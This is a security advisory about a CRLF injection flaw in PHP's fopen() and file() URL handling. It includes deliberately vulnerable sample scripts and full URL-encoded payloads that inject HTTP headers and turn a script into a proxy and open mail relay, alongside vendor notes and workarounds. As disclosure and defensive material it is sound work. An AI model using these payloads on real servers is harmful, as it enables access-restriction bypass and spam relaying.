‘PHP fopen() CRLF Injection’

Summary

‘PHP is a widely used Open Source general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Its syntax draws upon C, Java, and Perl, and is easy to learn. PHP runs on many different platforms and can be used as a standalone executable or as a module under a variety of Web servers. It has excellent support for databases, XML, LDAP, IMAP, Java, various Internet protocols, and general data manipulation, and is extensible via its powerful API.

fopen(), file() and other functions in PHP have a vulnerability that makes it possible to add extra HTTP headers to HTTP queries. Attackers may use it to escape certain restrictions, like what host to access on a web server. In some cases, this vulnerability even opens up for arbitrary net connections, turning some PHP scripts into proxies and open mail relays.’

Credit:

‘The information has been provided by Ulf Harnhammar.’


Details

Vulnerable systems:
 * PHP versions 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others

PHP has several functions that take filenames as one of their arguments: fopen(), file() and some others. If allow_url_fopen is set to On in php.ini, those functions also accept URLs instead of regular files, and they connect to the server in question with the correct protocol. This functionality is vulnerable to some CRLF Injection attacks.

1) We start with the simple attacks. Let us say that this PHP snippet is saved as snippet.php:

<?php

echo ‘<pre>’;

print_r(file(‘http://www.site1.st/api?sunnan=$sunnan&vind=$vind’));

echo ‘</pre>’;

?>

If an attacker surfs to:
snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.
site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F
%2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A

(should be on one line)

This HTTP query will be sent to www.site1.st:

GET /api?sunnan=visby&vind=gotland HTTP/1.0
Host: www.site2.st
User-Agent: Ulf/0.0
Referer: http://www.gnuheter.org/
Cookie: user=ulf

HTTP/1.0
Host: www.site1.st
User-Agent: PHP/4.1.2

As you can see, the real headers from PHP are sent as well, but the web server ignores them, as we send two CRLFs before them to indicate that the headers are over.

Using this technique, we can add arbitrary user agents, referrers, and cookies. We can also break out of restrictions and access site2.st instead of the site site1.st that snippet.php tries to restrict us to, if site1.st and site2.st are virtual hosts on the same machine.

2) If the PHP script is even worse, like this one called dotcom.php:

<?php

$fp = fopen($url, ‘r’);
fpassthru($fp);

?>

We can connect to arbitrary ports and send (almost) arbitrary commands, thus turning the dotcom.php script into a proxy and an open mail relay.

If we surf to:

dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(should be on one line)

The PHP interpreter will connect to mail.site1.st on port 25, and send the following commands:

GET / HTTP/1.0
HELO my.own.machine
MAIL FROM:<me@my.own.machine>
RCPT TO:<info@site1.st>
DATA
i will never say the word PROCRASTINATE again
.
QUIT

HTTP/1.0
Host: mail.site1.st:25
User-Agent: PHP/4.1.2

Both PHP and the MTA will complain, but the mail is still sent.

Communication with vendor:
All contact methods Ulf could find were very public, like mailing lists and bug tracking systems. Ulf ended up entering this security hole into their bug tracking system (as number 19160) on 28 August. The PHP developers are working on fixing this bug, but nothing has been committed to their CVS yet. Ulf am releasing this anyway, as it is already public in their bug tracking system and as Matthew Murphy has published a related hole in PHP recently, thus making it more likely that some BlackHat will find this too.

Workarounds:
One solution is to make sure that all variables that are used in this type of URL are clean, by including this command in your PHP scripts:

$var = preg_replace(‘/\s+/’, ”, $var);

Another solution: if your scripts do not need to access URLs like files, you can switch off that functionality by setting allow_url_fopen to Off in php.ini.’

Categories: UNIX